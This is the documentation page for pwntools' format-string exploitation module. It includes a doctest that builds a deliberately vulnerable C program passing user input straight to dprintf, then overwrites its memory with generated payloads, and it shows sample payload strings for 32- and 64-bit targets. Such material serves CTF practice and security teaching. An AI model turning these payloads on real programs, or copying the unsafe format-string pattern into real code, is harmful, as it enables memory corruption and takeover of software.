pwnlib.fmtstr
— Format string bug exploitation tools¶
Provide some tools to exploit format string bug
Examples
>>> program = tempfile.mktemp()
>>> source = program + ".c"
>>> write(source, '''
... #include <stdio.h>
... #include <stdlib.h>
... #include <unistd.h>
... #include <sys/mman.h>
... #define MEMORY_ADDRESS ((void*)0x11111000)
... #define MEMORY_SIZE 1024
... #define TARGET ((int *) 0x11111110)
... int main(int argc, char const *argv[])
... {
... char buff[1024];
... void *ptr = NULL;
... int *my_var = TARGET;
... ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
... if(ptr != MEMORY_ADDRESS)
... {
... perror("mmap");
... return EXIT_FAILURE;
... }
... *my_var = 0x41414141;
... write(1, &my_var, sizeof(int *));
... scanf("%s", buff);
... dprintf(2, buff);
... write(1, my_var, sizeof(int));
... return 0;
... }''')
>>> cmdline = ["gcc", source, "-Wno-format-security", "-m32", "-o", program]
>>> process(cmdline).wait_for_close()
>>> def exec_fmt(payload):
... p = process(program)
... p.sendline(payload)
... return p.recvall()
...
>>> autofmt = FmtStr(exec_fmt)
>>> offset = autofmt.offset
>>> p = process(program, stderr=PIPE)
>>> addr = unpack(p.recv(4))
>>> payload = fmtstr_payload(offset, {addr: 0x1337babe})
>>> p.sendline(payload)
>>> print hex(unpack(p.recv(4)))
0x1337babe
Example - Payload generation¶
# we want to do 3 writes
writes = {0x08041337: 0xbfffffff,
0x08041337+4: 0x1337babe,
0x08041337+8: 0xdeadbeef}
# the printf() call already writes some bytes
# for example :
# strcat(dest, "blabla :", 256);
# strcat(dest, your_input, 256);
# printf(dest);
# Here, numbwritten parameter must be 8
payload = fmtstr_payload(5, writes, numbwritten=8)
Example - Automated exploitation¶
# Assume a process that reads a string
# and gives this string as the first argument
# of a printf() call
# It do this indefinitely
p = process('./vulnerable')
# Function called in order to send a payload
def send_payload(payload):
log.info("payload = %s" % repr(payload))
p.sendline(payload)
return p.recv()
# Create a FmtStr object and give to him the function
format_string = FmtStr(execute_fmt=send_payload)
format_string.write(0x0, 0x1337babe) # write 0x1337babe at 0x0
format_string.write(0x1337babe, 0x0) # write 0x0 at 0x1337babe
format_string.execute_writes()
-
class
pwnlib.fmtstr.
FmtStr
(execute_fmt, offset=None, padlen=0, numbwritten=0)[source]¶ Provides an automated format string exploitation.
It takes a function which is called every time the automated process want to communicate with the vulnerable process. this function takes a parameter with the payload that you have to send to the vulnerable process and must return the process returns.
If the offset parameter is not given, then try to find the right offset by leaking stack data.
Parameters: Instantiates an object which try to automating exploit the vulnerable process
Parameters: -
write
(addr, data) → None[source]¶ In order to tell : I want to write
data
ataddr
.Parameters: Returns: None
Examples
>>> def send_fmt_payload(payload): ... print repr(payload) ... >>> f = FmtStr(send_fmt_payload, offset=5) >>> f.write(0x08040506, 0x1337babe) >>> f.execute_writes() '\x06\x05\x04\x08\x07\x05\x04\x08\x08\x05\x04\x08\t\x05\x04\x08%174c%5$hhn%252c%6$hhn%125c%7$hhn%220c%8$hhn'
-
-
pwnlib.fmtstr.
fmtstr_payload
(offset, writes, numbwritten=0, write_size='byte') → str[source]¶ Makes payload with given parameter. It can generate payload for 32 or 64 bits architectures. The size of the addr is taken from
context.bits
Parameters: - offset (int) – the first formatter’s offset you control
- writes (dict) – dict with addr, value
{addr: value, addr2: value2}
- numbwritten (int) – number of byte already written by the printf function
- write_size (str) – must be
byte
,short
orint
. Tells if you want to write byte by byte, short by short or int by int (hhn, hn or n)
Returns: The payload in order to do needed writes
Examples
>>> context.clear(arch = 'amd64') >>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')) '\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00%322419374c%1$n%3972547906c%2$n' >>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')) '\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00%47774c%1$hn%22649c%2$hn%60617c%3$hn%4$hn' >>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')) '\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00%126c%1$hhn%252c%2$hhn%125c%3$hhn%220c%4$hhn%237c%5$hhn%6$hhn%7$hhn%8$hhn' >>> context.clear(arch = 'i386') >>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')) '\x00\x00\x00\x00%322419386c%1$n' >>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')) '\x00\x00\x00\x00\x02\x00\x00\x00%47798c%1$hn%22649c%2$hn' >>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')) '\x00\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00%174c%1$hhn%252c%2$hhn%125c%3$hhn%220c%4$hhn'